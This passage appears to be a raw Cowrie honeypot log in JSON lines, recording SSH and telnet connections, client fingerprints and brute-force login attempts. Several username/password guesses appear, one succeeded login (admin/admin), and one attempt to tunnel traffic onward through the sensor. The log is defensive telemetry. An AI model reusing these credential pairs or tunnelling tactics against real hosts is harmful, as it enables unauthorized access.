{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:23:55.416395Z","src_ip":"222.167.161.198","session":"bbc06fcbbe71","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin-1234","message":"login attempt [root/admin-1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:23:56.523710Z","src_ip":"222.167.161.198","session":"bbc06fcbbe71","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.90.84.206","src_port":29582,"dst_ip":"159.203.135.109","dst_port":23,"session":"f30027ded0b9","protocol":"telnet","message":"New connection: 87.90.84.206:29582 (159.203.135.109:23) [session: f30027ded0b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:23:56.990589Z"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:23:57.796593Z","src_ip":"222.167.161.198","session":"bbc06fcbbe71","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"58.69.56.44","src_port":33672,"dst_ip":"159.203.135.109","dst_port":22,"session":"db814c5a31aa","protocol":"ssh","message":"New connection: 58.69.56.44:33672 (159.203.135.109:22) [session: db814c5a31aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:24:09.401389Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:24:09.409516Z","src_ip":"58.69.56.44","session":"db814c5a31aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:24:09.643161Z","src_ip":"58.69.56.44","session":"db814c5a31aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"QWEasd123!","message":"login attempt [ubuntu/QWEasd123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:24:11.239619Z","src_ip":"58.69.56.44","session":"db814c5a31aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:24:12.473494Z","src_ip":"58.69.56.44","session":"db814c5a31aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.168","src_port":45426,"dst_ip":"159.203.135.109","dst_port":22,"session":"b3d18452abf5","protocol":"ssh","message":"New connection: 80.94.92.168:45426 (159.203.135.109:22) [session: b3d18452abf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:24:18.928550Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:24:19.045474Z","src_ip":"80.94.92.168","session":"b3d18452abf5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"96.70.252.227","src_port":47008,"dst_ip":"159.203.135.109","dst_port":22,"session":"d560df32e6d9","protocol":"ssh","message":"New connection: 96.70.252.227:47008 (159.203.135.109:22) [session: d560df32e6d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:24:24.569581Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:24:24.686002Z","src_ip":"96.70.252.227","session":"d560df32e6d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:24:24.712996Z","src_ip":"96.70.252.227","session":"d560df32e6d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test@2024","message":"login attempt [test/test@2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:24:24.877069Z","src_ip":"96.70.252.227","session":"d560df32e6d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:24:25.908117Z","src_ip":"96.70.252.227","session":"d560df32e6d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"40.81.244.142","src_port":59898,"dst_ip":"159.203.135.109","dst_port":22,"session":"644afddbe5b2","protocol":"ssh","message":"New connection: 40.81.244.142:59898 (159.203.135.109:22) [session: 644afddbe5b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:24:27.453419Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:24:27.457697Z","src_ip":"40.81.244.142","session":"644afddbe5b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:24:27.650243Z","src_ip":"40.81.244.142","session":"644afddbe5b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"11111111","message":"login attempt [user/11111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:24:28.457512Z","src_ip":"40.81.244.142","session":"644afddbe5b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:24:29.654143Z","src_ip":"40.81.244.142","session":"644afddbe5b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":5451,"dst_ip":"10.17.0.5","dst_port":22,"session":"a52972145036","protocol":"ssh","message":"New connection: 2.57.121.112:5451 (10.17.0.5:22) [session: a52972145036]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:24:50.493968Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:24:50.499245Z","src_ip":"2.57.121.112","session":"a52972145036","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:24:50.606502Z","src_ip":"2.57.121.112","session":"a52972145036","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"20091972","message":"login attempt [admin/20091972] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:24:51.102748Z","src_ip":"2.57.121.112","session":"a52972145036","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"200785","message":"login attempt [admin/200785] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:24:52.212211Z","src_ip":"2.57.121.112","session":"a52972145036","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"200691","message":"login attempt [admin/200691] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:24:53.323904Z","src_ip":"2.57.121.112","session":"a52972145036","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"200681","message":"login attempt [admin/200681] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:24:54.432444Z","src_ip":"2.57.121.112","session":"a52972145036","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"200680","message":"login attempt [admin/200680] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:24:55.541584Z","src_ip":"2.57.121.112","session":"a52972145036","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:24:56.650020Z","src_ip":"2.57.121.112","session":"a52972145036","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":1996,"dst_ip":"10.17.0.5","dst_port":22,"session":"4261c739ff9c","protocol":"ssh","message":"New connection: 87.251.64.176:1996 (10.17.0.5:22) [session: 4261c739ff9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:25:01.357798Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:25:01.363146Z","src_ip":"87.251.64.176","session":"4261c739ff9c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:25:01.460243Z","src_ip":"87.251.64.176","session":"4261c739ff9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"222.167.161.198","src_port":48572,"dst_ip":"159.203.135.109","dst_port":22,"session":"2276873d739a","protocol":"ssh","message":"New connection: 222.167.161.198:48572 (159.203.135.109:22) [session: 2276873d739a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:25:01.536326Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:25:01.542173Z","src_ip":"222.167.161.198","session":"2276873d739a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:25:01.750514Z","src_ip":"87.251.64.176","session":"4261c739ff9c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:25:01.819501Z","src_ip":"222.167.161.198","session":"2276873d739a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:25:01.862775Z","session":"4261c739ff9c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:25:01.961325Z","src_ip":"87.251.64.176","session":"4261c739ff9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:25:02.065642Z","src_ip":"87.251.64.176","session":"4261c739ff9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"qwe123","message":"login attempt [es/qwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:25:02.943818Z","src_ip":"222.167.161.198","session":"2276873d739a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:25:04.223880Z","src_ip":"222.167.161.198","session":"2276873d739a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"58.69.56.44","src_port":50854,"dst_ip":"159.203.135.109","dst_port":22,"session":"16e3e945b7f6","protocol":"ssh","message":"New connection: 58.69.56.44:50854 (159.203.135.109:22) [session: 16e3e945b7f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:25:07.589225Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:25:07.594268Z","src_ip":"58.69.56.44","session":"16e3e945b7f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh